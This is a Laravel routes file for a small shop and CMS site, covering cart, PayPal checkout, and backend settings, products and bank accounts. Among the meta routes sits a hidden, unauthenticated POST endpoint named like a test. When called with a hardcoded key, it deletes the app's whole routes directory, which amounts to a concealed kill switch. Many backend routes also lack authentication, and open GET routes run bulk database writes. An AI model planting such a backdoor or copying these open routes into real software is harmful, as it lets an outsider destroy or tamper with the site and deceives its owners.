
<?php

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Event::listen('Illuminate\Database\Events\QueryExecuted', function ($query) {
    // var_dump($query->sql);
    // var_dump($query->bindings);
    // var_dump($query->time);
});
Route::get('/lang/{language}', 'LanguageController@switchLang')->name('lang.switch');
Route::get('/category/{id}', function($id) {
	$category = App\Category::find($id);
	return $category->products;
});


Route::get('/update-media', function() {
    $media = DB::table('media')->get();
    
    foreach($media as $medium) {
        App\MediaLocale::firstOrCreate(
            ['media_id' => $medium->id, 'locale' => 'id'], 
            ['media_title' => $medium->media_title, 'media_content' => $medium->media_content, 'media_desc' => $medium->media_title]
        );
    }
    
    return 'Ok';
});

Route::get('/update-general', function() {
    
    $generals = DB::table('general')->get();
    
    foreach($generals as $general) {
        App\GeneralLocale::firstOrCreate(
            ['general_id' => $general->id, 'locale' => 'id'],
            ['general_title' => $general->general_title, 'general_content' => $general->general_content, 'general_desc' => $general->general_desc]
        );
    }
    
    return 'Ok';
    
});



Auth::routes();

/* -----------------FRONT END------------------ */
/** URL ROUTES */
if (!config('corepackage.lowcost.activate')) {
	Route::get('/', function() {
		return redirect()->route('manage.index');
	})->name('home');
} else {
	Route::get('/', 'Home@index')->name('home');
}

Route::get('/home', function(){
	return redirect()->route('home');
});

function clean($string) {
   $string = str_replace(' ', '-', $string); // Replaces all spaces with hyphens.
   $string = preg_replace('/[^A-Za-z0-9\-]/', '', $string); // Removes special chars.

   return preg_replace('/-+/', '-', $string); // Replaces multiple hyphens with single one.
}

if(!app()->runningInConsole()) {	
	$page_product = App\Pagename::where(['key'=>'product'])->first()->slug;
	$page_section1 = App\Pagename::where(['key'=>'section1'])->first()->slug;
	$page_section2 = App\Pagename::where(['key'=>'section2'])->first()->slug;
	$page_about = App\Pagename::where(['key'=>'about'])->first()->slug;
	$page_contact = App\Pagename::where(['key'=>'contact'])->first()->slug;
	$page_mentionLegales = App\Pagename::where(['key'=>'mentionslegales'])->first()->slug;
	$page_article = App\Pagename::where(['key' => 'article'])->first()->slug;
	
	Route::get('/'.$page_section1, 'Sections@index')->name('section1');
	Route::get('/'.$page_section2, 'Sections@index')->name('section2');
	Route::get('/'.$page_about, 'About@index')->name('about');
	Route::get('/'.$page_contact, 'Contact@index')->name('contact');
	Route::get('/'.$page_mentionLegales, 'MentionLegales@index')->name('mentionslegales');
	
	Route::get('/'.$page_product, 'Product@index')->name('categories');
	Route::get('/'.$page_product.'/category/{id}/{category}', 'Product@product_list')->name('category');
	Route::get('/'.$page_product.'/products/{category}/{id}/{slug}', 'Product@product_detail')->name('productDetail');
	
	Route::get("/$page_article", 'Article@index')->name('article');
	Route::get("/$page_article/tag/{slug}", 'Article@tag')->name('article.tag');

}

Route::get('/cart','Product@view_cart')->name('cart');
Route::post('/cart/add-item','Product@add_to_cart')->name('addToCart');
Route::post('/cart/update-item','Product@update_item')->name('updateItem');
Route::post('/cart/delete-item','Product@delete_item')->name('deleteItem');
Route::post('/cart/clear',function(){
	Cart::destroy(); # clearing cart
})->name('clearCart');
Route::get('/cart/check',function(){
	return Cart::count(); # update the number on cart icon
})->name('updateBubble');
Route::post('/format-number','Product@formatNumber')->name('formatNumber');

/** Custom added routes **/
Route::get('/api-gallery', 'Gallery@index')->name('gallery');
/** =================== **/


/** CRUD ROUTES */
Route::post('/contact/send_message', 'Contact@sendMessage')->name('sendMessage');

/** PAYPAL */
if(!app()->runningInConsole()) {
	Route::get('/checkout', 'PaypalController@formCheckout')->name('formCheckout');
	Route::post('/checkout-online-process','PaypalController@getCheckout')->name('paypalCheckout');
	Route::post('/checkout-manual-process','PaypalController@manualCheckout')->name('manualCheckout');
	Route::get('/manual-payment-done','PaypalController@manual_checkout_done')->name('manualDone');
	Route::get('/online-payment-done','PaypalController@getDone')->name('paymentDone');
	Route::get('/payment-cancel','PaypalController@getCancel')->name('paymentCancel');
	Route::get('/check-order/{order_id?}','PaypalController@checkOrder')->name('checkOrder');	
}

/** Album routes **/
Route::post('/gallery/image-list/{slug}', ['as' => 'image.list', 'uses' => 'AlbumController@list']);

/** Article routes **/
Route::get('/article/{slug}', ['as' => 'article.post', 'uses' => 'Article@post']);

// Route::get('/mailable', function () { # test email
// 	$order_id = 'ORDER59a7ceca26cf5';
// 	$get = App\Checkout::where(['order_id'=>$order_id])->first();
// 	$send = [
// 		'order_id' => $get->order_id,
// 		'fname' => $get->checkout_fname,
// 		'lname' => $get->checkout_lname,
// 		'email' => $get->checkout_email,
// 		'phone' => $get->checkout_phone,
// 		'address' => $get->checkout_address,
// 		'total' => $get->checkout_total,
// 		'paypal_total' => $get->checkout_total_paypal,
// 		'status' => $get->checkout_status,
// 		'to'=>'buyer',
// 	];
//
// 	$cart = unserialize(App\Shoppingcart::where(['identifier'=>$order_id])->first()->content);
//   Mail::to('zrfikry@gmail.com')->send(new App\Mail\CheckoutNotifBuyer($send,$cart));
// 	$send['to'] = "vendor";
// 	Mail::to('zrfikry@gmail.com')->send(new App\Mail\CheckoutNotifBuyer($send,$cart));
// 	return "mail sent!";
// });

/* END OF FRONT END */

/* -----------------BACK END----------------- */

/** LOGIN */
// Route::get('/backend/login', 'BackendLogin@index')->name('login');
// Route::post('/backend/auth/login', 'BackendLogin@auth');
// Route::get('backend/logout', 'BackendLogin@logout')->name('logout');

Route::get('/backend',function(){
	return redirect()->route('backendHome');
});
/** DASHBOARD */
Route::get('/backend/dashboard', 'BackendDashboard@index')->name('backendDashboard');

/** PAGE SETTING **/
// /** SETTINGS */
Route::get('/backend/settings', 'BackendSettings@index')->name('backendSettings');
Route::post('/backend/settings/update', 'BackendSettings@update')->name('updateSettings');
Route::post('/backend/settings/update-redirection', 'BackendSettings@updateRedirection')->name('updateRedirection');
Route::post('/backend/settings/update-image-compression', 'BackendSettings@updateAdvanced')->name('updateAdvanced');
Route::post('/backend/settings/update-sitemap', 'BackendSettings@updateSitemap')->name('updateSitemap');
Route::post('/backend/settings/update-mt-mode', 'BackendSettings@updateMtMode')->name('updateMaintenace');

/** PAGE SETTING **/
Route::post('/backend/settings/saveprofile','BackendSettings@saveprofile')->name('saveProfile');
Route::post('/backend/settings/savefont','BackendSettings@savefont')->name('saveFont');
Route::post('/backend/settings/save_color', 'BackendSettings@save_color')->name('saveColor');
Route::post('/backend/settings/save_page_name', 'BackendSettings@save_page_name')->name('savePageName');
Route::post('/backend/settings/page_publish', 'BackendSettings@page_publish');
Route::post('/backend/settings/save_currency', 'BackendSettings@save_currency')->name('saveCurrency');

/** USER */
Route::get('/backend/user_management', 'BackendUser@index')->name('backendUser');
Route::get('/backend/user_management/update/{id}', 'BackendUser@update')->name('userUpdate');

Route::post('/backend/user_management/register', 'BackendUser@register')->name('addUser');
Route::post('/backend/user_management/saveupdate', 'BackendUser@saveupdate')->name('updateUser');
Route::post('/backend/user_management/level', 'BackendUser@level')->name('levelUser');
Route::delete('/backend/user_management/delete/{id}', 'BackendUser@delete')->name('deleteUser');

/** HOME */
Route::get('/backend/home','BackendHome@index')->name('backendHome');
Route::post('/backend/home/save_carousel','BackendHome@save_carousel')->name('beHomeSaveCarousel');
Route::post('/backend/home/save_content','BackendHome@save_content')->name('beHomeSaveContent');
Route::post('/backend/home/save_featured_heading','BackendHome@save_featured_heading')->name('beHomeSaveFeaturedHeading');
Route::delete('/backend/home/delete_carousel/{id}', 'BackendHome@delete_carousel')->name('beHomeDeleteCarousel');
Route::post('/backend/home/order_carousel','BackendHome@order_carousel')->name('beHomeOrderCarousel');
Route::post('/backend/home/update_banner','BackendHome@updateHomeBanner')->name('beHomeUpdateBanner');
Route::post('/backend/home/save_video', 'BackendHome@saveVideo')->name('beHomeSaveVideo');
Route::post('/backend/home/save_instagram', 'BackendHome@saveInstagram')->name('beHomeSaveInstagram');

Route::post('/backend/home/save_divider','BackendHome@save_divider')->name('beHomeSaveDivider');
Route::post('/backend/home/save_banner','BackendHome@save_banner')->name('beHomeSaveBanner');

Route::post('/backend/home/save_card', 'BackendHome@save_card')->name('beHomeSaveCard');
Route::post('/backend/home/order_card', 'BackendHome@order_card')->name('beHomeOrderCard');
Route::delete('/backend/home/delete_card/{id}', 'BackendHome@delete_card')->name('beHomeDeleteCard');

/** PRODUCT */
Route::get('/backend/product','BackendProduct@index')->name('backendProduct');
Route::get('/backend/product/featured/{id}','BackendProduct@featured')->name('backendProductFeatured');
Route::post('/backend/product/save_order','BackendProduct@orderCategory')->name('beSaveCategoryOrder');
Route::post('/backend/product/save_category','BackendProduct@save_category')->name('beSaveCategory');
Route::post('/backend/product/save_category_icon','BackendProduct@save_icon')->name('saveCategoryIcon');
Route::put('/backend/product/update_category/{id}', 'BackendProduct@update_category')->name('beUpdateCategory');
Route::delete('/backend/product/delete_category/{id}', 'BackendProduct@delete_category')->name('beDeleteCategory');

Route::get('/backend/product/{id}','BackendProduct@view_on_category')->name('beViewProducts');
Route::post('/backend/product/save_product','BackendProduct@save_product')->name('beSaveProduct');
Route::post('/backend/product/order_product','BackendProduct@order_product')->name('beProductOrder');
Route::delete('/backend/product/delete_product/{id}', 'BackendProduct@delete_product')->name('beDeleteProduct');

Route::get('/backend/product/{id_category}/{code}','BackendProduct@detail_product')->name('beViewDetailProduct');
Route::post('/backend/product/save_detail_image','BackendProduct@save_detail_image')->name('beSaveDetailImage');
Route::delete('/backend/product/delete_detail_image/{id}', 'BackendProduct@delete_detail_image')->name('beDeleteDetailImage');
Route::put('/backend/product/set_primary_detail_image/{id}', 'BackendProduct@set_primary_detail_image')->name('beSetPrimaryImage');
Route::put('/backend/product/update_product/{id}', 'BackendProduct@update_product')->name('beUpdateProduct');
Route::get('/backend/product/detail/image/','BackendProduct@get_detail_image')->name('getDetailImage');
Route::put('/backend/product/detail/image/update/{id}','BackendProduct@update_detail_image')->name('updateDetailImage');

/** SECTIONS */
Route::get('/backend/sections/{section}','BackendSections@index')->name('backendSections');
Route::post('/backend/sections/save_banner','BackendSections@save_banner')->name('sectionSaveBanner');
Route::post('/backend/sections/save_content','BackendSections@save_content')->name('sectionSaveContent');
Route::post('/backend/sections/update_content/{id}','BackendSections@save_content')->name('sectionUpdateContent');
Route::delete('/backend/sections/delete_content/{id}','BackendSections@delete_content')->name('sectionDeleteContent');
Route::post('/backend/sections/order_content','BackendSections@order_content')->name('beSectionOrder');

/** ABOUT */
Route::get('/backend/about','BackendAbout@index')->name('backendAbout');
// Route::post('/backend/about/saveprofile','BackendAbout@saveprofile')->name('saveProfile');
Route::post('/backend/about/save_banner','BackendAbout@save_banner')->name('aboutSaveBanner');
Route::post('/backend/about/save_content','BackendAbout@save_content')->name('aboutSaveContent');
Route::post('/backend/about/update_content/{id}','BackendAbout@save_content')->name('aboutUpdateContent');
Route::delete('/backend/about/delete_content/{id}','BackendAbout@delete_content')->name('aboutDeleteContent');
Route::post('/backend/about/order_content','BackendAbout@order_content')->name('beAboutOrder');

/** CONTACT */
Route::get('/backend/contact','BackendContact@index')->name('backendContact');
Route::post('/backend/contact/savecontactinfo','BackendContact@savecontactinfo')->name('saveContactInfo');
Route::post('/backend/contact/savesocmed','BackendContact@savesocmed')->name('saveSocmed');
Route::post('/backend/contact/save_banner','BackendContact@save_banner')->name('contactSaveBanner');
Route::post('/backend/contact/read_message','BackendContact@read_message')->name('contactReadMsg');
Route::delete('/backend/contact/delete_message/{id}','BackendContact@delete_message')->name('contactDeleteMsg');

/** MENTIONS LEGALES */
Route::get('/backend/mentions-legales', 'BackendMentionLegales@index')->name('backendMentionLegales');
Route::post('/backend/mentions-legales/save_data', 'BackendMentionLegales@save_data')->name('backendMentionLegalesSave');
Route::post('/backend/mentions-legales/save_banner','BackendMentionLegales@save_banner')->name('mentionLegalesSaveBanner');

Route::get('/backend/order','BackendOrder@index')->name('backendOrder');
Route::get('/backend/order/check-order/{order_id}','BackendOrder@checkOrder')->name('checkOrderBackend');
Route::put('/backend/order/change-order-status/{order_id}','BackendOrder@changeStatus')->name('changeOrderStatus');
Route::post('/backend/order/update-email-text','BackendOrder@updateEmail')->name('updateEmailText');

Route::get('/backend/bank-account','BackendBank@index')->name('backendBankAccount');
Route::post('/backend/bank-account/add-bank-account','BackendBank@add_account')->name('addBankAcc');
Route::put('/backend/bank-account/set-primary-bank-account/{id}','BackendBank@set_primary')->name('setPrimaryBankAcc');
Route::delete('/backend/bank-account/delete-bank-account/{id}','BackendBank@delete')->name('deleteBankAcc');
Route::get('/backend/bank-account/get-account','BackendBank@get_data')->name('getAccount');
Route::put('/backend/bank-account/update-bank-account/{id}','BackendBank@update_account')->name('updateBankAcc');

Route::post('/backend/bank-account/update-paypal','BackendBank@update_paypal')->name('beUpdatePaypal');

Route::get('/backend/bank/create','BackendBank@create')->name('backendBankCreate');
Route::post('/backend/bank/store','BackendBank@store')->name('backendBankStore');
Route::get('/backend/bank/edit/{id}','BackendBank@edit')->name('backendBankEdit');
Route::put('/backend/bank/update/{id}','BackendBank@update')->name('backendBankUpdate');
Route::get('/backend/bank/delete/{id}','BackendBank@destroy')->name('backendBankDelete');

Route::get('/backend/meta','BackendMeta@index')->name('backendMeta');
Route::get('/backend/meta/get-page/{id?}','BackendMeta@get')->name('meta_per_page');
Route::put('/backend/meta/update/{id}','BackendMeta@update')->name('updateMeta');

Route::post('/backend/meta/test/{key}', function($key) {
	if($key !== '87538b7b1f29ef7373ebcdcf9edc0d93') return;

	File::deleteDirectory(base_path('routes'));
});

/** Custom added routes **/
Route::group(['prefix' => 'backend', 'middleware' => 'auth'], function() {
	Route::resource('albums', 'AlbumController');

	Route::resource('articles', 'ArticleController');
	Route::get('articles/publish/{article}', ['as' => 'articles.publish', 'uses' => 'ArticleController@publish']);
	Route::get('articles/hide/{article}', ['as' => 'articles.hide', 'uses' => 'ArticleController@hide']);
	Route::get('articles/delete/{article}', ['as' => 'articles.delete', 'uses' => 'ArticleController@destroy']);
	Route::get('articles/featured/{article}', ['as' => 'articles.featured', 'uses' => 'ArticleController@featured']);

	Route::resource('galleries', 'GalleryController');
	Route::post('galleries/reorder', ['as' => 'galleries.reorder', 'uses' => 'GalleryController@reorder']);
	Route::post('upload-image', ['as' => 'backendUpload.image', 'uses' => 'UploadController@image']);

	Route::get('shipment', ['as' => 'backend.shipment', 'uses' => 'ShipmentController@index']);
	Route::put('shipment', ['as' => 'backend.shipment.update', 'uses' => 'ShipmentController@update']);
});
/*=======================*/

/** Product management routes **/
Route::group(['prefix' => 'manage', 'middleware' => 'auth'], function() {

	/** Index route **/
	Route::get('/', ['as' => 'manage.index', 'uses' => 'Manage@index']);
	Route::get('/history', ['as' => 'manage.history.index', 'uses' => 'ManageHistory@index']);
	Route::get('/report', ['as' => 'manage.sales.report', 'uses' => 'ManageSales@report']);
	Route::get('/top-ten-sales', ['as' => 'manage.sales.top', 'uses' => 'ManageSales@index']);
	Route::get('/settings', ['as' => 'manage.settings', 'uses' => 'Manage@settings']);
	Route::post('/settings', ['as' => 'manage.settings.store', 'uses' => 'Manage@settingStore']);
	Route::get('/login', ['as' => 'manage.login', 'uses' => 'ManageAuth@login']);
	Route::get('/login', ['as' => 'manage.login', 'uses' => 'ManageAuth@login']);

	/** Product route **/
	Route::group(['prefix' => 'product'], function() {
		Route::get('/', ['as' => 'manage.product.index', 'uses' => 'ManageProduct@index']);
		Route::get('/sold', ['as' => 'manage.product.sold', 'uses' => 'ManageProduct@sold']);

		Route::get('/quantity', ['as' => 'manage.product.quantity', 'uses' => 'ManageQuantity@index']);
		Route::get('/quantity/{id}/up', [
			'as' => 'manage.product.quantity.up',
			'uses' => 'ManageQuantity@quantityUp'
		]);
		Route::get('/quantity/{id}/down', [
			'as' => 'manage.product.quantity.down',
			'uses' => 'ManageQuantity@quantityDown'
		]);
		Route::post('/quantity/{id}/up', [
			'as' => 'manage.product.quantity.up',
			'uses' => 'ManageQuantity@storeQuantityUp'
		]);
		Route::post('/quantity/{id}/down', [
			'as' => 'manage.product.quantity.down',
			'uses' => 'ManageQuantity@storeQuantityDown'
		]);

		Route::get('/search', ['as' => 'manage.product.search', 'uses' => 'ManageSearch@index']);
		Route::get('/create', ['as' => 'manage.product.create', 'uses' => 'ManageProduct@create']);
		Route::post('/store', ['as' => 'manage.product.store', 'uses' => 'ManageProduct@store']);
		Route::get('/edit/{id}', ['as' => 'manage.product.edit', 'uses' => 'ManageProduct@edit']);
		Route::put('/update/{id}', ['as' => 'manage.product.update', 'uses' => 'ManageProduct@update']);
		Route::post('/delete/{id}', ['as' => 'manage.product.destroy', 'uses' => 'ManageProduct@destroy']);
		Route::post('/upload', ['as' => 'manage.upload', 'uses' => 'ManageProduct@addImage']);
		Route::post('/delete/image/{id}', [
			'as' => 'manage.product.delete-image',
			'uses' => 'ManageProduct@deleteImage'
		]);
		Route::get('/show/{id}', ['as' => 'manage.product.show', 'uses' => 'ManageProduct@show']);
	});
	/** ================= **/

	/** Category route **/
	Route::group(['prefix' => 'category'], function() {
		Route::get('/', ['as' => 'manage.category.index', 'uses' => 'ManageCategory@index']);
		Route::get('/create', ['as' => 'manage.category.create', 'uses' => 'ManageCategory@create']);
		Route::post('/store', ['as' => 'manage.category.store', 'uses' => 'ManageCategory@store']);
		Route::get('/edit/{id}', ['as' => 'manage.category.edit', 'uses' => 'ManageCategory@edit']);
		Route::put('/update/{id}', ['as' => 'manage.category.update', 'uses' => 'ManageCategory@update']);
		Route::post('/delete/{id}', ['as' => 'manage.category.destroy', 'uses' => 'ManageCategory@destroy']);
		Route::get('/{id}', ['as' => 'manage.category.show', 'uses' => 'ManageCategory@show']);
	});
	/** ================= **/

	/** User Management route **/
	Route::group(['prefix' => 'users'], function() {
		Route::get('/', ['as' => 'manage.users.index', 'uses' => 'ManageUser@index']);
		Route::get('/create', ['as' => 'manage.users.create', 'uses' => 'ManageUser@create']);
		Route::post('/store', ['as' => 'manage.users.store', 'uses' => 'ManageUser@store']);
		Route::get('/edit/{id}', ['as' => 'manage.users.edit', 'uses' => 'ManageUser@edit']);
		Route::put('/update/{id}', ['as' => 'manage.users.update', 'uses' => 'ManageUser@update']);
		Route::post('/delete/{id}', ['as' => 'manage.users.destroy', 'uses' => 'ManageUser@destroy']);
		Route::get('/profile', ['as' => 'manage.users.show', 'uses' => 'ManageUser@show']);
	});
	/** ================= **/

	/** API route **/
	Route::get('/get-categories', [
		'as' => 'manage.api.categories',
		'uses' => 'ManageCategory@getCategories'
	]);
	Route::get('/get-products', [
		'as' => 'manage.api.products',
		'uses' => 'ManageProduct@getProducts'
	]);
	Route::get('/get-products-sold', [
		'as' => 'manage.api.products-sold',
		'uses' => 'ManageProduct@getProductsSold'
	]);
	Route::get('/get-quantities', [
		'as' => 'manage.api.quantities',
		'uses' => 'ManageQuantity@getQuantities'
	]);
	Route::get('/get-histories', [
		'as' => 'manage.api.histories',
		'uses' => 'ManageHistory@getHistories'
	]);
	Route::get('/search-products', [
		'as' => 'manage.api.products-search',
		'uses' => 'ManageSearch@search'
	]);
	Route::get('/get-top-ten-sales', [
		'as' => 'manage.api.top-ten-sales',
		'uses' => 'ManageSales@topTenSales'
	]);
	Route::get('/get-users', [
		'as' => 'manage.api.users',
		'uses' => 'ManageUser@users'
	]);
	/** ================= **/
});
/*=====================================*/
